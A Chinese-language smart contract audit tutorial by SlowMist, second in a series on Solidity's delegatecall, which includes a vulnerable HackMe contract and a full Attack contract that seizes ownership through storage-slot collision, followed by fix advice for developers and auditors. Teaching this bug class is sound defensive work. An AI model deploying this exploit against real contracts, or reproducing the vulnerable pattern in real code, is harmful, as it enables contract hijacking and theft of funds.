智能合约安全审计入门篇 —— delegatecall (2)

上篇文章中我们了解了什么是 delegatecall 函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

By:小白@慢雾安全团队

背景概述

上篇文章中我们了解了什么是 delegatecall 函数以及一个基础的漏洞,这篇文章的目的是加深一下大家对 delegatecall 的印象并带大家一起去玩点刺激的,拿下一个进阶版的漏洞合约。

前置知识

这里就不再重复之前的基础知识了,不了解或者遗忘的可以再看看上一篇文章:《智能合约安全审计入门篇 —— delegatecall (1)》。

漏洞示例

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

漏洞分析

这次的攻击目标依然是获得 HackMe 合约中的 owner 权限,我们可以看到两个合约中除了 HackMe 合约中的构造函数可以修改合约的 owner 其他地方并没有修改 owner 的函数。我们要如何完成攻击呢?这里需要一点小技巧,大家可以思考一下,刚好也可以验证一下自己对于之前知识的掌握程度以及自己的思维是否活跃。

是否有想法呢?没有想法也没关系,我们一起来看攻击是如何完成的:

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
}

我们先看攻击流程:

  1. Alice 部署 Lib 合约;
  2. Alice 部署 HackMe 合约并在构造函数中传入 Lib 合约的地址;
  3. 攻击者 Eve 部署 Attack 合约并在构造函数中传入 HackMe 合约的地址;
  4. 攻击者调用 Attack.attack() 函数将 HackMe 合约中的 owner 变为自己。

咋回事儿呢?其实这个攻击方式就是很巧妙的运用了 delegatecall 这个函数修改 storage 类型变量时的特征:delegatecall 函数的执行环境是调用者的环境并且对于 storage 类型变量的修改是根据被调用合约变量存储的插槽位置来修改的。

  1. Attack.attack() 函数先将自己的地址转换为 uint256 类型(这一步是为了兼容目标合约中的数据类型)第一次调用 HackMe.doSomething() 函数;
  2. HackMe.doSomething() 函数使用 delegatecall 函数带着传入的 Attack 合约的地址调用了 Lib.doSomething() 函数;
  3. 可以看到 Lib.doSomething() 函数将合约中存储位置为 slot0 的参数改为传入的值,这样当 HackMe 合约使用 delegatecall 调用 Lib.doSomething() 函数时也将改变自己在 slot0 位置存储的变量的值,也就是将 lib 参数(这里存储的是 Lib 合约的地址)改为我们传入的 Attack 合约的地址。此时之前在 HackMe.lib 参数中存储的 Lib 合约的地址就被修改成我们传入的 Attack 合约的地址了;
  4. Attack.attack() 函数再次调用 HackMe.doSomething() 函数,由于在上一步我们已经将 HackMe.lib 变量修改为 Attack 合约的地址了,这时 HackMe.doSomething() 函数将不再调用之前的 Lib 合约而是用 delegatecall 去调用 Attack.doSomething() 函数。此时我们再来观察 Attack 合约的写法,发现其变量的存储位置故意和 HackMe 合约保持一致,并且不难发现 Attack.doSomething() 函数的内容也被攻击者写为 owner = msg.sender,这个操作修改了合约中存储位置为 slot1 的变量。所以 HackMe 合约使用 delegatecall 调用 Attack.doSomething() 函数就会将合约中存储位置为 slot1 的变量 owner 修改为 msg.sender 也就是 Eve 的地址,至此攻击者完成了他的攻击。

修复建议

作为开发者

  1. 在使用 delegatecall 时应注意被调用合约的地址不能是可控的;
  2. 在较为复杂的合约环境下需要注意变量的声明顺序以及存储位置。因为使用 delegatecall 进行外部调用时会根据被调用合约的数据结构来修改本合约相应 slot 中存储的数据,当数据结构发生变化时这可能会造成非预期的变量覆盖。

作为审计者

  1. 在审计过程中遇到合约中有使用 delegatecall 时需要注意被调用的合约地址是否可控;
  2. 当被调用合约中的函数存在修改 storage 变量的情况时需要注意变量存储插槽的位置,避免由于数据结构不一致而导致本合约中存储的 storage 变量被错误的覆盖。

注:本文参考于《Solidity by Example》

参考链接:

https://solidity-by-example.org/hacks/delegatecall

本文首发于:https://mp.weixin.qq.com/s/6sAqyjv4gI3c9DzqoYhybA

点赞 2
收藏 5
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
慢雾科技
慢雾科技
江湖只有他的大名,没有他的介绍。